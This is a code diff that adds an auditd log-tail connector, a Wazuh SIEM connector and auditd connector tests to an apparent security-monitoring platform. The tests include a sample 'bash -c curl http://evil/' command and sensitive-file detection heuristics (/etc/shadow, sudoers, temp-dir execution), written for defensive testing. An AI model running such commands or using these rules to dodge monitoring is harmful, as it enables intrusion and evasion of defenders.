capabilities(cls) -> tuple[Capability, ...]:+ # auditd is the canonical PULL_AUDIT surface for a Linux+ # host; downstream detections turn its events into alerts so+ # PULL_ALERTS is also true from the consumer's perspective.+ return (Capability.PULL_AUDIT, Capability.PULL_ALERTS)++ def __init__(+ self,+ host_label: str = "",+ audit_log_path: str = "/var/log/audit/audit.log",+ cursor_path: str = "",+ ):+ self._host_label = host_label+ self._audit_log_path = audit_log_path+ self._cursor_path = cursor_path or f"{audit_log_path}{self._DEFAULT_CURSOR_SUFFIX}"++ # ------------------------------ helpers ----------------------------------++ def _read_cursor(self) -> int:+ """Read the byte offset for the next file_tail poll.++ Missing cursor -> 0 (start of file). Corrupt cursor -> 0 with+ a warning; better to re-ingest than to silently wedge.+ """+ try:+ with open(self._cursor_path) as fh:+ raw = fh.read().strip()+ return int(raw) if raw else 0+ except FileNotFoundError:+ return 0+ except (OSError, ValueError) as exc:+ logger.warning(+ "auditd.cursor_read_failed",+ cursor_path=self._cursor_path,+ error=str(exc),+ )+ return 0++ def _write_cursor(self, offset: int) -> None:+ try:+ # Atomic write: rename is the only POSIX-portable way to+ # avoid a half-written cursor on crash.+ tmp = f"{self._cursor_path}.tmp"+ with open(tmp, "w") as fh:+ fh.write(str(offset))+ os.replace(tmp, self._cursor_path)+ except OSError as exc:+ logger.warning(+ "auditd.cursor_write_failed",+ cursor_path=self._cursor_path,+ offset=offset,+ error=str(exc),+ )++ def _tail_audit_file(self) -> list[str]:+ """Read forward from the saved byte cursor.++ Handles three rotation scenarios identically to the+ kubernetes_audit connector:+ * Truncation (size < cursor) -> reset cursor.+ * Replacement (logrotate copytruncate) -> covered by the+ truncation case.+ * Rename + create (logrotate moved old aside) -> we re-open+ the new file and start from 0 because the cursor file+ (which we own) is still pointing into the previous file's+ space.+ """+ path = Path(self._audit_log_path)+ if not path.exists():+ logger.warning("auditd.audit_log_missing", audit_log_path=str(path))+ return []++ try:+ size = path.stat().st_size+ except OSError as exc:+ logger.warning("auditd.stat_failed", audit_log_path=str(path), error=str(exc))+ return []++ cursor = self._read_cursor()+ if cursor > size:+ logger.info("auditd.cursor_reset_after_rotation", old_cursor=cursor, new_size=size)+ cursor = 0++ if cursor >= size:+ return []++ read_end = min(size, cursor + _MAX_TAIL_BYTES_PER_POLL)+ try:+ with open(path, "rb") as fh:+ fh.seek(cursor)+ chunk = fh.read(read_end - cursor)+ except OSError as exc:+ logger.warning(+ "auditd.read_failed",+ audit_log_path=str(path),+ cursor=cursor,+ error=str(exc),+ )+ return []++ # auditd writes one record per line. Hold back any trailing+ # partial line for the next poll by adjusting the cursor to+ # the last complete newline we observed.+ last_complete_offset = cursor+ lines: list[str] = []+ for raw_line in chunk.splitlines(keepends=True):+ last_complete_offset += len(raw_line)+ if not raw_line.endswith(b"\n"):+ # Partial trailing line — back the cursor up and bail.+ last_complete_offset -= len(raw_line)+ break+ stripped = raw_line.decode("utf-8", errors="replace").strip()+ if stripped:+ lines.append(stripped)++ self._write_cursor(last_complete_offset)+ return lines++ # ------------------------------ contract ---------------------------------++ async def test_connection(self) -> dict[str, Any]:+ if not self._host_label:+ return {+ "success": False,+ "connector": self.connector_id,+ "error": "host_label is required",+ }+ path = Path(self._audit_log_path)+ if not path.exists():+ return {+ "success": False,+ "connector": self.connector_id,+ "error": (+ f"audit log path {self._audit_log_path} not found "+ "inside the connector pod. Mount /var/log/audit "+ "read-only from the host, or run the connector "+ "on the same host as the auditd daemon."+ ),+ }+ if not os.access(self._audit_log_path, os.R_OK):+ return {+ "success": False,+ "connector": self.connector_id,+ "error": (f"audit log path {self._audit_log_path} is not readable by the connector pod."),+ }+ return {+ "success": True,+ "connector": self.connector_id,+ "host": self._host_label,+ "audit_log_path": self._audit_log_path,+ "cursor_path": self._cursor_path,+ }++ async def fetch_alerts(self, since_seconds: int = 300) -> list[dict[str, Any]]:+ # ``since_seconds`` is intentionally ignored — the byte cursor+ # already gives us exactly-once-ish semantics, and audit+ # records don't all carry a sortable timestamp we could use+ # to filter on a sliding window anyway.+ del since_seconds+ lines = self._tail_audit_file()+ if not lines:+ return []++ records = [_parse_record(line) for line in lines]+ events = _assemble_events(records)++ if len(events) > _MAX_EVENTS_PER_POLL:+ logger.warning(+ "auditd.event_storm_truncated",+ event_count=len(events),+ cap=_MAX_EVENTS_PER_POLL,+ )+ events = events[:_MAX_EVENTS_PER_POLL]++ return [self.normalize(e) for e in events]++ def normalize(self, raw: dict[str, Any]) -> dict[str, Any]:+ """Map a reassembled auditd event to AiSOC's normalised shape.++ The output dict is intentionally flat and uses the same field+ names every existing ``detections/endpoint/linux-*.yaml``+ rule pivots on. A small ``raw_records`` map preserves the+ per-type breakdown for rules that need to walk back to a+ specific record type.+ """+ syscall = raw.get("syscall")+ exe = raw.get("exe")+ argv = raw.get("argv") or []+ path = raw.get("path")+ actor_uid = raw.get("actor_uid")+ key = raw.get("key")++ severity = _severity_from_event(raw)++ # Human-readable title — operators in the alert inbox should+ # be able to read "what happened" without expanding the row.+ if syscall == "execve" and exe:+ argv_preview = " ".join(argv[1:6]) if len(argv) > 1 else ""+ title = f"auditd execve: {exe} {argv_preview}".strip()+ elif path:+ title = f"auditd {syscall or 'event'} on {path}"+ else:+ title = f"auditd {syscall or 'event'} ({key or 'no-key'})"++ return {+ "source": self.connector_id,+ "category": "endpoint",+ "external_id": raw.get("event_id"),+ "title": title,+ "description": (+ f"syscall={syscall} exe={exe} key={key} actor_uid={actor_uid} path={path} argv={' '.join(argv) if argv else None}"+ ),+ "severity": severity,+ "host": self._host_label,+ "hostname": self._host_label,+ # The fields below are exactly what existing+ # detections/endpoint/linux-*.yaml rules pivot on. Names+ # are stable — changing them is a breaking change for+ # detection content.+ "syscall": syscall,+ "exe": exe,+ "argv": argv,+ "path": path,+ "paths": raw.get("paths") or [],+ "cwd": raw.get("cwd"),+ "comm": raw.get("comm"),+ "proctitle": raw.get("proctitle"),+ "actor_uid": actor_uid,+ "actor_auid": raw.get("actor_auid"),+ "actor_euid": raw.get("actor_euid"),+ "actor_gid": raw.get("actor_gid"),+ "actor_pid": raw.get("actor_pid"),+ "actor_ppid": raw.get("actor_ppid"),+ "tty": raw.get("tty"),+ "session": raw.get("session"),+ "arch": raw.get("arch"),+ "auditd_key": key,+ "key": key,+ "success": raw.get("success"),+ "exit": raw.get("exit"),+ "raw_records": raw.get("raw_records") or {},+ "event_id": raw.get("event_id"),+ "timestamp": raw.get("timestamp"),+ "serial": raw.get("serial"),+ }diff --git a/services/connectors/app/connectors/wazuh.py b/services/connectors/app/connectors/wazuh.pynew file mode 100644index 000000000..610cbfd70--- /dev/null+++ b/services/connectors/app/connectors/wazuh.py@@ -0,0 +1,354 @@+"""+Wazuh connector — open-source XDR/SIEM.++Wazuh splits cleanly across three services:++* **Wazuh Manager** — agents check in here; exposes a JWT-auth REST API on+ port ``55000`` for *operational* management (add agent, get config).+* **Wazuh Indexer** — a hardened OpenSearch fork on port ``9200`` where+ alerts and archives actually live. Index pattern: ``wazuh-alerts-*``.+* **Wazuh Dashboard** — read-only UI on top of the indexer.++We poll the **indexer** (not the manager) because that is where the rolling+alert stream lives and because the indexer's basic-auth + DSL surface is+the same one ``ElasticConnector`` already speaks. The manager API is a+better fit for kinetic actions and is intentionally out-of-scope for this+read-path connector — a future ``WazuhActionClient`` can layer on top.++Severity ladder+---------------++Wazuh rules carry a 0-15 ``level``; the official guidance maps roughly to:++* 0-3 — informational / system noise (login successes, decoder hits)+* 4-7 — low signal (failed sshd, non-malicious anomalies)+* 8-11 — suspicious (privilege change, unusual exec, FIM writes)+* 12-15 — critical / attack (rootkit, exploit, multi-stage attack)++We collapse that into AiSOC's four-tier ladder (info | low | medium | high)+the same way the connector platform spec requires for every vendor.++API references+--------------++* Wazuh indexer alerts schema:+ https://documentation.wazuh.com/current/user-manual/manager/wazuh-archives.html+* Wazuh indexer search API (OpenSearch-compatible):+ https://documentation.wazuh.com/current/user-manual/wazuh-indexer/index.html+* Rule level taxonomy:+ https://documentation.wazuh.com/current/user-manual/ruleset/rules-classification.html+"""++from __future__ import annotations++import base64+from typing import Any++import httpx+import structlog++from app.connectors.base import (+ BaseConnector,+ Capability,+ ConnectorSchema,+ Field,+)++logger = structlog.get_logger()+++# ---------------------------------------------------------------------------+# Severity mapping+#+# Collapse the 0-15 Wazuh ladder into the AiSOC info | low | medium | high+# tiers exactly as the connector platform spec requires (apps/docs has a+# matching table in connectors/wazuh.md so operators can predict what they+# will see). Boundaries are inclusive on the lower end.+# ---------------------------------------------------------------------------++_SEVERITY_BANDS: tuple[tuple[int, str], ...] = (+ (12, "high"), # 12-15+ (8, "medium"), # 8-11+ (4, "low"), # 4-7+ (0, "info"), # 0-3+)+++def _severity_from_level(level: int | float | str | None) -> str:+ """Map a Wazuh rule level (0-15) to an AiSOC severity tier.++ Defensive against non-int levels because Wazuh ships rule packs from+ third parties that occasionally store ``level`` as a string. We fall+ back to ``info`` rather than raising so a single malformed rule does+ not poison the whole batch.+ """+ try:+ lvl = int(float(level)) if level is not None else 0+ except (TypeError, ValueError):+ return "info"+ for threshold, label in _SEVERITY_BANDS:+ if lvl >= threshold:+ return label+ return "info"+++class WazuhConnector(BaseConnector):+ """Wazuh — open-source XDR/SIEM.++ Polls the Wazuh indexer (OpenSearch-compatible) for alerts above a+ configurable rule-level threshold and normalizes them into the AiSOC+ canonical alert shape.+ """++ connector_id = "wazuh"+ connector_name = "Wazuh"+ connector_category = "siem"++ @classmethod+ def capabilities(cls) -> tuple[Capability, ...]:+ # Wazuh is *both* an EDR (host-agent telemetry) and a SIEM (alert+ # store). For the connector platform we treat it as a SIEM because+ # the read-surface we expose is the indexer; the agent-side+ # response actions belong in a future kinetic plugin.+ return (+ Capability.PULL_ALERTS,+ Capability.QUERY_LOGS,+ Capability.SEARCH_SIEM,+ Capability.PIVOT_HOST,+ )++ @classmethod+ def schema(cls) -> ConnectorSchema:+ return ConnectorSchema(+ connector_id=cls.connector_id,+ connector_name=cls.connector_name,+ category=cls.connector_category,+ description=(+ "Wazuh — open-source XDR/SIEM. Pulls alerts from the "+ "Wazuh indexer (OpenSearch-compatible) and maps the "+ "0-15 rule level onto the AiSOC severity ladder."+ ),+ docs_url="/docs/connectors/wazuh",+ fields=[+ Field(+ "indexer_url",+ "string",+ "Wazuh Indexer URL",+ placeholder="https://wazuh.example.com:9200",+ help_text=("Base URL of the Wazuh indexer (NOT the dashboard or manager). Default port is 9200."),+ ),+ Field(+ "username",+ "string",+ "Indexer Username",+ help_text=("Indexer user with read access to wazuh-alerts-*. Create a dedicated read-only role in production."),+ ),+ Field(+ "password",+ "secret",+ "Indexer Password",+ ),+ Field(+ "index_pattern",+ "string",+ "Alert Index Pattern",+ required=False,+ default="wazuh-alerts-*",+ help_text=("Override only if you have re-templated the default Wazuh index naming."),+ ),+ Field(+ "min_rule_level",+ "number",+ "Minimum Rule Level",+ required=False,+ default=7,+ help_text=(+ "Drop alerts with rule.level below this value at "+ "ingest. Default 7 keeps low-signal noise out of "+ "the lake; lower to 3 for full audit coverage."+ ),+ ),+ Field(+ "verify_tls",+ "boolean",+ "Verify TLS Certificate",+ required=False,+ default=True,+ help_text=("Disable only for self-signed lab clusters. Production deployments must install the CA chain."),+ ),+ ],+ )++ def __init__(+ self,+ indexer_url: str,+ username: str,+ password: str,+ index_pattern: str = "wazuh-alerts-*",+ min_rule_level: int = 7,+ verify_tls: bool = True,+ ):+ # Strip trailing slash so URL composition is predictable.+ self._base_url = indexer_url.rstrip("/")+ self._username = username+ self._password = password+ self._index_pattern = index_pattern or "wazuh-alerts-*"+ try:+ self._min_rule_level = max(0, min(15, int(min_rule_level)))+ except (TypeError, ValueError):+ self._min_rule_level = 7+ self._verify_tls = bool(verify_tls)++ # ---- helpers ------------------------------------------------------++ def _headers(self) -> dict[str, str]:+ token = base64.b64encode(f"{self._username}:{self._password}".encode()).decode("ascii")+ return {+ "Authorization": f"Basic {token}",+ "Accept": "application/json",+ "Content-Type": "application/json",+ "User-Agent": "AiSOC/connectors-wazuh",+ }++ # ---- runtime ------------------------------------------------------++ async def test_connection(self) -> dict[str, Any]:+ """Hit the indexer's cluster-health endpoint to validate auth + reachability."""+ try:+ async with httpx.AsyncClient(timeout=15.0, verify=self._verify_tls) as client:+ resp = await client.get(+ f"{self._base_url}/_cluster/health",+ headers=self._headers(),+ )+ if resp.status_code == 200:+ return {"success": True, "connector": self.connector_id}+ if resp.status_code in (401, 403):+ return {+ "success": False,+ "connector": self.connector_id,+ "error": "authentication failed; check username/password",+ }+ return {+ "success": False,+ "connector": self.connector_id,+ "error": f"unexpected status {resp.status_code}",+ }+ except httpx.RequestError as exc:+ return {+ "success": False,+ "connector": self.connector_id,+ "error": f"network error: {exc}",+ }++ async def fetch_alerts(self, since_seconds: int = 300) -> list[dict[str, Any]]:+ """Pull recent Wazuh alerts above the configured rule-level threshold.++ Uses the OpenSearch ``_search`` API on ``wazuh-alerts-*`` with a+ time-window filter so we never re-pull historical events.+ Pagination is bounded to 1000 hits per poll because anything+ larger means the operator should drop the polling interval, not+ chase a single huge batch.+ """+ query = {+ "size": 1000,+ "sort": [{"@timestamp": {"order": "asc"}}],+ "query": {+ "bool": {+ "must": [+ {+ "range": {+ "@timestamp": {+ "gte": f"now-{max(int(since_seconds), 0)}s",+ "lte": "now",+ }+ }+ },+ {"range": {"rule.level": {"gte": self._min_rule_level}}},+ ]+ }+ },+ }++ try:+ async with httpx.AsyncClient(timeout=30.0, verify=self._verify_tls) as client:+ resp = await client.post(+ f"{self._base_url}/{self._index_pattern}/_search",+ headers=self._headers(),+ json=query,+ )+ except httpx.RequestError as exc:+ logger.warning("wazuh.fetch_exception", error=str(exc))+ return []++ if resp.status_code != 200:+ logger.warning(+ "wazuh.search_failed",+ status=resp.status_code,+ body=resp.text[:300],+ )+ return []++ try:+ payload = resp.json()+ except ValueError:+ logger.warning("wazuh.search_returned_non_json")+ return []++ hits = (payload.get("hits") or {}).get("hits") or []+ return [self.normalize(hit) for hit in hits if isinstance(hit, dict)]++ def normalize(self, raw: dict[str, Any]) -> dict[str, Any]:+ """Project a Wazuh indexer hit into the AiSOC canonical alert shape.++ ``raw`` is the full OpenSearch hit envelope (``_id``, ``_index``,+ ``_source``). We pull the meaningful fields out of ``_source`` and+ leave the original under ``raw_event`` so detection rules can+ still pivot on vendor-specific keys.+ """+ source = raw.get("_source") or {}+ rule = source.get("rule") or {}+ agent = source.get("agent") or {}+ data = source.get("data") or {}++ rule_level = rule.get("level", 0)+ rule_id = rule.get("id")+ rule_desc = rule.get("description") or "Wazuh alert"+ mitre = rule.get("mitre") or {}++ # MITRE technique IDs come as a list under ``rule.mitre.id`` in+ # modern Wazuh; older builds put them under ``rule.mitre.tactic``.+ mitre_techniques = mitre.get("id") if isinstance(mitre.get("id"), list) else []+ mitre_tactics = mitre.get("tactic") if isinstance(mitre.get("tactic"), list) else []++ hostname = agent.get("name") or agent.get("ip")+ agent_id = agent.get("id")+ timestamp = source.get("@timestamp") or source.get("timestamp")++ # Stable alert_id: prefer the indexer doc id, fall back to a+ # composite of rule + agent + timestamp so retries de-duplicate.+ alert_id = raw.get("_id") or f"{rule_id or 'unknown'}::{agent_id or 'na'}::{timestamp or ''}"++ return {+ "source": self.connector_id,+ "category": "siem",+ "event_type": "wazuh_alert",+ "severity": _severity_from_level(rule_level),+ "title": rule_desc,+ "description": (source.get("full_log") or rule_desc)[:1000],+ "alert_id": alert_id,+ "external_id": rule_id,+ "rule_level": rule_level,+ "rule_id": rule_id,+ "rule_groups": rule.get("groups") or [],+ "hostname": hostname,+ "host": hostname,+ "agent_id": agent_id,+ "agent_ip": agent.get("ip"),+ "timestamp": timestamp,+ "mitre_techniques": mitre_techniques,+ "mitre_tactics": mitre_tactics,+ "decoder": (source.get("decoder") or {}).get("name"),+ "data": data,+ "raw_event": source,+ "raw": raw,+ }diff --git a/services/connectors/tests/test_auditd_connector.py b/services/connectors/tests/test_auditd_connector.pynew file mode 100644index 000000000..47e89add2--- /dev/null+++ b/services/connectors/tests/test_auditd_connector.py@@ -0,0 +1,1000 @@+"""Tests for the Linux ``auditd`` file_tail connector.++The connector ships in three layers and the tests are grouped to+match:++* ``test_schema_*`` / ``test_capabilities_*`` — surface-area contract.+* ``test_parse_*`` / ``test_assemble_*`` — multi-record event+ reassembly. This is the+ hard part of the+ connector and gets the+ most coverage.+* ``test_severity_*`` — the ``aisoc_*`` key+ prefix mapping plus the+ fall-back path/exec+ heuristics.+* ``test_normalize_*`` — the reassembled event+ -> AiSOC shape mapping+ (must match what+ ``detections/endpoint/+ linux-*.yaml`` rules+ pivot on).+* ``test_file_tail_*`` — file_tail cursor+ behaviour, rotation,+ partial-line buffering,+ corrupt-cursor recovery.+* ``test_test_connection_*`` — the test_connection+ contract.++Real-world auditd output is a pile of edge cases (hex-encoded+proctitles, missing PATH records, multi-PATH events for ``rename``,+quoted/unquoted values, partial trailing lines) and every one is+exercised here so refactoring this connector cannot silently break+detection content.+"""++from __future__ import annotations++import os+from pathlib import Path++import pytest+from app.connectors.auditd import (+ _HIGH_RISK_EXEC_DIRS,+ _MAX_EVENTS_PER_POLL,+ _MAX_TAIL_BYTES_PER_POLL,+ AuditdConnector,+ _assemble_events,+ _decode_hex_string,+ _extract_argv,+ _parse_record,+ _severity_from_event,+)+from app.connectors.base import Capability++# ---------------------------------------------------------------------------+# Schema / capabilities contract+# ---------------------------------------------------------------------------+++def test_schema_basic_shape():+ schema = AuditdConnector.schema()+ assert schema.connector_id == "auditd"+ assert schema.connector_name == "Linux Auditd"+ assert schema.category == "edr"+ assert schema.docs_url == "/docs/connectors/auditd"+++def test_schema_field_set():+ schema = AuditdConnector.schema()+ field_names = {f.name for f in schema.fields}+ assert field_names == {"host_label", "audit_log_path", "cursor_path"}+++def test_schema_host_label_is_required():+ schema = AuditdConnector.schema()+ host = next(f for f in schema.fields if f.name == "host_label")+ assert host.required is True+++def test_schema_audit_log_path_has_sensible_default():+ schema = AuditdConnector.schema()+ path = next(f for f in schema.fields if f.name == "audit_log_path")+ assert path.required is True+ assert path.default == "/var/log/audit/audit.log"+++def test_schema_cursor_path_is_optional():+ schema = AuditdConnector.schema()+ cursor = next(f for f in schema.fields if f.name == "cursor_path")+ assert cursor.required is False+++def test_capabilities_advertises_pull_audit_and_alerts():+ caps = AuditdConnector.capabilities()+ assert Capability.PULL_AUDIT in caps+ assert Capability.PULL_ALERTS in caps+++# ---------------------------------------------------------------------------+# _parse_record — single-line parsing primitives+# ---------------------------------------------------------------------------+++def test_parse_record_extracts_event_id_type_and_fields():+ line = (+ "type=SYSCALL msg=audit(1715520000.123:9876): arch=c000003e "+ 'syscall=59 success=yes exit=0 uid=1000 auid=1000 comm="bash" '+ 'exe="/usr/bin/bash" key="aisoc_exec"'+ )+ event_id, record_type, fields = _parse_record(line)+ assert event_id == ("1715520000.123", "9876")+ assert record_type == "SYSCALL"+ assert fields["syscall"] == "59"+ assert fields["uid"] == "1000"+ assert fields["exe"] == "/usr/bin/bash"+ assert fields["key"] == "aisoc_exec"+ assert fields["success"] == "yes"+++def test_parse_record_handles_quoted_values_with_spaces():+ """Quoted values can contain spaces — the splitter must not break."""+ line = 'type=USER_CMD msg=audit(1.0:1): cmd="ls -la /etc"'+ _, _, fields = _parse_record(line)+ assert fields["cmd"] == "ls -la /etc"+++def test_parse_record_handles_unquoted_hex_values():+ """proctitle is hex-encoded as a bareword (no quotes)."""+ line = "type=PROCTITLE msg=audit(1.0:1): proctitle=626173680A2D63"+ _, record_type, fields = _parse_record(line)+ assert record_type == "PROCTITLE"+ assert fields["proctitle"] == "626173680A2D63"+++def test_parse_record_returns_empty_for_malformed_line():+ """No msg=audit(...) -> caller drops the line cleanly."""+ line = "this is not an audit record"+ event_id, record_type, fields = _parse_record(line)+ assert event_id is None+ assert record_type is None+ assert fields == {}+++def test_parse_record_extracts_argv_slot_keys():+ line = 'type=EXECVE msg=audit(1.0:1): argc=3 a0="bash" a1="-c" a2="curl http://evil/"'+ _, record_type, fields = _parse_record(line)+ assert record_type == "EXECVE"+ assert fields["a0"] == "bash"+ assert fields["a1"] == "-c"+ assert fields["a2"] == "curl http://evil/"+++# ---------------------------------------------------------------------------+# _decode_hex_string — proctitle decoding+# ---------------------------------------------------------------------------+++def test_decode_hex_string_replaces_nuls_with_spaces():+ # "bash\x00-c" -> "bash -c". "bash" = 62 61 73 68.+ out = _decode_hex_string("62617368002D63")+ assert "\x00" not in out+ assert "bash" in out+ assert "-c" in out+++def test_decode_hex_string_returns_input_for_invalid_hex():+ assert _decode_hex_string("not-hex-at-all") == "not-hex-at-all"+++def test_decode_hex_string_handles_known_argv_blob():+ # "bash\x00-c\x00ls" = 62 61 73 68 00 2d 63 00 6c 73+ out = _decode_hex_string("62617368002D63006C73")+ # We expect "bash -c ls" (NULs replaced by spaces).+ assert "bash" in out+ assert "ls" in out+ assert "-c" in out+++# ---------------------------------------------------------------------------+# _extract_argv — argv reassembly+# ---------------------------------------------------------------------------+++def test_extract_argv_walks_a0_a1_a2_in_order():+ fields = {"argc": "3", "a0": "bash", "a1": "-c", "a2": "id"}+ assert _extract_argv(fields) == ["bash", "-c", "id"]+++def test_extract_argv_stops_at_first_gap():+ """auditd should always emit contiguous slots, but defensively+ we stop at the first missing index rather than scanning forever.+ """+ fields = {"a0": "bash", "a1": "-c", "a3": "skipped"}+ # a2 is missing -> we stop after a1.+ assert _extract_argv(fields) == ["bash", "-c"]+++def test_extract_argv_returns_empty_list_when_no_slots():+ assert _extract_argv({"argc": "0"}) == []+++# ---------------------------------------------------------------------------+# _assemble_events — multi-record reassembly (the hard part)+# ---------------------------------------------------------------------------+++def _make_records(*lines: str) -> list:+ """Helper: parse a batch of raw lines into the input shape that+ _assemble_events expects.+ """+ return [_parse_record(line) for line in lines]+++def test_assemble_groups_records_by_event_id():+ """SYSCALL + EXECVE + CWD + PATH + PROCTITLE -> one event."""+ records = _make_records(+ "type=SYSCALL msg=audit(1.0:1): arch=c000003e syscall=59 "+ 'success=yes exit=0 uid=1000 auid=1000 comm="bash" '+ 'exe="/usr/bin/bash" key="aisoc_exec"',+ 'type=EXECVE msg=audit(1.0:1): argc=3 a0="bash" a1="-c" a2="id"',+ 'type=CWD msg=audit(1.0:1): cwd="/tmp"',+ 'type=PATH msg=audit(1.0:1): item=0 name="/usr/bin/bash"',+ "type=PROCTITLE msg=audit(1.0:1): proctitle=626173002D630069",+ )+ events = _assemble_events(records)+ assert len(events) == 1+ event = events[0]+ assert event["event_id"] == "1.0:1"+ assert event["timestamp"] == "1.0"+ assert event["serial"] == "1"+ assert event["syscall"] == "execve" # 59 -> execve via the table+ assert event["exe"] == "/usr/bin/bash"+ assert event["argv"] == ["bash", "-c", "id"]+ assert event["cwd"] == "/tmp"+ assert event["path"] == "/usr/bin/bash"+ assert event["paths"] == ["/usr/bin/bash"]+ assert event["actor_uid"] == "1000"+ assert event["key"] == "aisoc_exec"+ assert event["comm"] == "bash"+++def test_assemble_resolves_syscall_number_to_name():+ """Detection rules pivot on string syscall names (``execve``)+ rather than kernel-architecture-dependent numbers.+ """+ records = _make_records(+ "type=SYSCALL msg=audit(1.0:1): arch=c000003e syscall=59",+ "type=SYSCALL msg=audit(2.0:2): arch=c000003e syscall=257",+ "type=SYSCALL msg=audit(3.0:3): arch=c000003e syscall=175",+ "type=SYSCALL msg=audit(4.0:4): arch=c000003e syscall=313",+ )+ events = {e["serial"]: e for e in _assemble_events(records)}+ assert events["1"]["syscall"] == "execve"+ assert events["2"]["syscall"] == "openat"+ assert events["3"]["syscall"] == "init_module"+ assert events["4"]["syscall"] == "finit_module"+++def test_assemble_falls_back_to_raw_syscall_number_when_unknown():+ """Unknown syscall numbers should still surface as something — we+ drop them through unchanged rather than emitting None.+ """+ records = _make_records(+ "type=SYSCALL msg=audit(1.0:1): arch=c000003e syscall=999999",+ )+ events = _assemble_events(records)+ assert events[0]["syscall"] == "999999"+++def test_assemble_keeps_multiple_path_records_for_rename():+ """``rename`` emits two PATH records. We collect both into ``paths``+ and promote the first to the singular ``path`` for the common case.+ """+ records = _make_records(+ 'type=SYSCALL msg=audit(1.0:1): arch=c000003e syscall=82 comm="mv" exe="/usr/bin/mv"', # 82 = rename+ 'type=PATH msg=audit(1.0:1): item=0 name="/etc/passwd.bak"',+ 'type=PATH msg=audit(1.0:1): item=1 name="/etc/passwd"',+ )+ events = _assemble_events(records)+ assert len(events) == 1+ event = events[0]+ assert event["paths"] == ["/etc/passwd.bak", "/etc/passwd"]+ # First one is promoted as the singular "path" for the common case.+ assert event["path"] == "/etc/passwd.bak"+++def test_assemble_decodes_hex_proctitle():+ # "bash\x00-c\x00id" -> "bash -c id"+ # bash = 62 61 73 68, -c = 2d 63, id = 69 64+ records = _make_records(+ "type=SYSCALL msg=audit(1.0:1): syscall=59",+ "type=PROCTITLE msg=audit(1.0:1): proctitle=62617368002D63006964",+ )+ events = _assemble_events(records)+ proctitle = events[0]["proctitle"]+ assert "\x00" not in proctitle+ assert "bash" in proctitle+++def test_assemble_keeps_quoted_proctitle_unchanged():+ """Quoted proctitle (no NULs in the original) should not be hex-decoded."""+ records = _make_records(+ "type=SYSCALL msg=audit(1.0:1): syscall=59",+ 'type=PROCTITLE msg=audit(1.0:1): proctitle="bash"',+ )+ events = _assemble_events(records)+ assert events[0]["proctitle"] == "bash"+++def test_assemble_produces_one_event_per_id_pair():+ """Two distinct (timestamp, serial) tuples = two distinct events."""+ records = _make_records(+ "type=SYSCALL msg=audit(1.0:1): syscall=59 uid=1000",+ "type=SYSCALL msg=audit(2.0:2): syscall=59 uid=2000",+ )+ events = _assemble_events(records)+ assert len(events) == 2+ by_serial = {e["serial"]: e for e in events}+ assert by_serial["1"]["actor_uid"] == "1000"+ assert by_serial["2"]["actor_uid"] == "2000"+++def test_assemble_deduplicates_repeated_path_names():+ """Some kernel paths can repeat (parent + child PATH for an openat).+ The list should not duplicate entries.+ """+ records = _make_records(+ "type=SYSCALL msg=audit(1.0:1): syscall=257",+ 'type=PATH msg=audit(1.0:1): item=0 name="/etc/passwd"',+ 'type=PATH msg=audit(1.0:1): item=1 name="/etc/passwd"',+ )+ events = _assemble_events(records)+ assert events[0]["paths"] == ["/etc/passwd"]+++def test_assemble_preserves_raw_records_per_type():+ """Detections occasionally need to walk back to a specific record+ type — keep ``raw_records`` populated.+ """+ records = _make_records(+ "type=SYSCALL msg=audit(1.0:1): syscall=59",+ 'type=EXECVE msg=audit(1.0:1): argc=1 a0="ls"',+ 'type=PATH msg=audit(1.0:1): item=0 name="/usr/bin/ls"',+ )+ events = _assemble_events(records)+ raw = events[0]["raw_records"]+ assert "SYSCALL" in raw+ assert "EXECVE" in raw+ # PATH is a list because it can repeat.+ assert isinstance(raw["PATH"], list)+ assert raw["PATH"][0]["name"] == "/usr/bin/ls"+++def test_assemble_drops_records_with_no_msg_id():+ """Lines with no msg=audit(...) header should be silently dropped+ rather than crashing the batch.+ """+ records = [(None, None, {})] + _make_records(+ "type=SYSCALL msg=audit(1.0:1): syscall=59",+ )+ events = _assemble_events(records)+ assert len(events) == 1+++def test_assemble_event_with_no_paths_has_path_none():+ records = _make_records(+ "type=SYSCALL msg=audit(1.0:1): syscall=59",+ )+ events = _assemble_events(records)+ assert events[0]["path"] is None+ assert events[0]["paths"] == []+++# ---------------------------------------------------------------------------+# _severity_from_event — the bucket assignment+# ---------------------------------------------------------------------------+++def test_severity_critical_key_prefix_is_high():+ assert _severity_from_event({"key": "aisoc_critical_sudoers_write"}) == "high"+ assert _severity_from_event({"key": "aisoc_critical_ssh_config"}) == "high"+ assert _severity_from_event({"key": "aisoc_critical_authorized_keys"}) == "high"+++def test_severity_priv_esc_key_prefix_is_medium():+ assert _severity_from_event({"key": "aisoc_priv_esc_module_load"}) == "medium"+ assert _severity_from_event({"key": "aisoc_priv_esc_ptrace"}) == "medium"+++def test_severity_persistence_key_prefix_is_medium():+ assert _severity_from_event({"key": "aisoc_persistence_systemd"}) == "medium"+ assert _severity_from_event({"key": "aisoc_persistence_cron"}) == "medium"+++def test_severity_aisoc_exec_key_is_medium():+ assert _severity_from_event({"key": "aisoc_exec"}) == "medium"+++def test_severity_watch_key_prefix_is_low():+ assert _severity_from_event({"key": "aisoc_watch_hosts"}) == "low"+++def test_severity_audit_self_tampering_key_prefix_is_low():+ assert _severity_from_event({"key": "aisoc_audit_subsystem"}) == "low"+++def test_severity_critical_prefix_wins_over_exec():+ """A critical key should outrank the generic ``aisoc_exec`` bucket+ even though both are AiSOC-prefixed. Order in the prefix table+ matters.+ """+ assert _severity_from_event({"key": "aisoc_critical_sudoers_write"}) == "high"+++def test_severity_falls_back_to_path_heuristic_when_no_key():+ """Operators not using the AiSOC profile still get coverage via+ path-based heuristics on canonical sensitive files.+ """+ assert _severity_from_event({"path": "/etc/shadow"}) == "high"+ assert _severity_from_event({"path": "/etc/passwd"}) == "high"+ assert _severity_from_event({"path": "/etc/sudoers"}) == "high"+ assert _severity_from_event({"path": "/etc/ssh/sshd_config"}) == "high"+++def test_severity_falls_back_to_exec_from_temp_heuristic():+ """An ``execve`` from a temp dir is almost always malicious."""+ for tmp_dir in _HIGH_RISK_EXEC_DIRS:+ assert (+ _severity_from_event(+ {"syscall": "execve", "exe": f"{tmp_dir}payload"},+ )+ == "high"+ )+++def test_severity_exec_from_legitimate_path_is_info():+ """An ``execve`` from /usr/bin should not trip the exec-from-temp+ heuristic — that's normal user activity.+ """+ assert _severity_from_event({"syscall": "execve", "exe": "/usr/bin/ls"}) == "info"+++def test_severity_unknown_key_falls_through_to_info():+ """Custom CIS / STIG key that AiSOC doesn't recognise -> info floor+ (we don't surface unknown keys as alerts).+ """+ assert 